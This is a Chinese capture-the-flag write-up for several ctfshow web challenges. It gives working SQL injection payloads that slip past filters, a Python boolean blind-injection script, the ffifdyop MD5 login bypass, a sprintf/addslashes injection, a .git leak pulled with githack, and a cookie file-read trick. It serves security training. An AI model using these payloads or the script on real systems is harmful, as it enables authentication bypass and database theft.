web7:联合查询注入过滤空格(考点:联合查询注入绕过)
将空格换为%09或/**/来绕过
获取表名payload
id=-1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()
flag,page,user
获取列名payload
id=-1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema=database()
flag,id,title,content,id,username,password
获取flag
id=-1/**/union/**/select/**/1,group_concat(flag),3/**/from/**/web7.flag
ctfshow{e3588acc-a317-455c-8d41-c80827f1588b}
web8:过滤union和空格(考点:布尔盲注)
于是通过盲注的方法
写一个布尔盲注脚本
import requests
import threading
url='http://bc6797c9-75c5-4ae8-8740-2998be71fadd.challenge.ctf.show/index.php?id=-1/**/or/**/'
def get_len(url, payload):
for i in range(1, 100):
urls = url + payload + str(i)
resp = requests.get(urls)
if 'If' in resp.text:
return i
def get_correct(url,len,payload):
correct = ''
for i in range(1,int(len)+1):
for j in range(31,128):
urls = url+payload+str(i)+'/**/for/**/1)))='+str(j)
resp = requests.get(urls)
if 'If' in resp.text:
correct += chr(j)
print(j,chr(j),correct)
break
return correct
def force_database():
database_len_payload = '(select/**/length(database()))='
databse_len = get_len(url,database_len_payload)
print(f'database_len:{databse_len}')
database_payload = '(select/**/ascii(substr(database()/**/from/**/'
database = get_correct(url,databse_len,database_payload)
print(f'database:{database}')
def force_table():
table_len_payload = '(select/**/length((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())))='
table_len = get_len(url,table_len_payload)
print('table_len:'+str(table_len))
table_names_payload = '(select/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/'
table_names = get_correct(url,table_len,table_names_payload)
print('table_names:'+table_names)
def force_column():
column_names_len_payload = '(select/**/length((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167)))='
columns_len = get_len(url,column_names_len_payload)
print('columns_len:'+str(columns_len))
column_names_payload = '(select/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167)/**/from/**/'
column_names = get_correct(url,columns_len,column_names_payload)
print('column_names:'+column_names)
def force_flag():
flag_len_payload = '(select/**/length((select/**/group_concat(flag)/**/from/**/web8.flag)))='
flag_len = get_len(url,flag_len_payload)
print('flag_len:'+str(flag_len))
flag_payload = '(select/**/ascii(substr((select/**/group_concat(flag)/**/from/**/web8.flag)/**/from/**/'
flag = get_correct(url,flag_len,flag_payload)
print('flag:'+flag)
if __name__ == '__main__':
thread_num = 50
for x in range(thread_num):
t = threading.Thread(target=force_flag)
t.start()
最终拿到flag
ctfshow{a8576530-bc13-4ea2-8976-d52947a19dbf}

web9
进入页面只有一个登录框,于是访问robots.txt文件看看
发现存在目录index.phps,访问后下载到源码
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){ //行数大于零,即查询到的数据不为空
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>
mysqli_num_rows函数用于获取 MySQL 查询结果集中行的数量。
mysqli_fetch_assoc用于从查询结果中获取一行数据,并以 关联数组 的形式返回该行的结果。每个列名作为数组的键,列值作为数组的值。
思路:sql语句对传入的密码值进行md5加密,利用MD5加密漏洞来绕过
ffifdyop 的MD5加密结果是 276f722736c95d99e921722cf9ed621c
经过MySQL编码后会变成'or'6xxx,使SQL恒成立,相当于万能密码,可以绕过md5()函数的加密
所以输入密码为ffifdyop,即可得到flag
ctfshow{a4c45b65-139b-4c53-b133-fd332ca629ac}

web10
源码
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
过滤了很多注入语句
这里主要用group by和with rollup相结合
group by就是一个排列,默认升序
with rollup (group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计)
即添加with rollup后查询结果中将会多出一行,其中group by 后面的那个列为null,count(*)为统计和。
payload
username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=

给她
知识点:sprintf函数与addslashes函数连用会造成逻辑漏洞
进入题目发现SQL注入,但单引号被转义

宽字节注入也试了一下,不行。而且注释符也不行,怀疑是预编译

扫目录发现有.git文件,于是githack工具获取git泄露信息
python githack.py https://004119f7-c318-4136-bf28-dbdb5becdb86.challenge.ctf.show/.git
得到hint.php
<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass'])); //转义单引号
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>
关键点:sprintf函数会将**%\,%1$\占位符替换为空**,如下所示
<?php
$sql="select * from user where username='%\' and 1=1 #';";
$user='admin';
echo sprintf($sql,$user);
?>
//打印出来:select * from user where username='' and 1=1 #';
构造payload
?name=admin&pass=%1$' or 1=1--+
后台执行的php语句为:$sql = sprintf(" select * from user where name='admin' and pass='%1$\' or 1=1--+' ");
因为sprintf会将其中的 %1$\ 替换为空
所以最后执行的sql语句为:select * from user where name='admin' and pass='' or 1=1 --+'
--+注释后,即为:select * from user where name='admin' and pass='' or 1=1

得到报错页面,查看源代码


用load_file 读文件失败
然后发现刚刚这个页面下面有一行这个输出,是flag.txt文件里的内容
抓包发现,cookie:file=666c61672e747874,是flag.txt的十六进制数

把它改为/flag的十六进制数,拿到flag
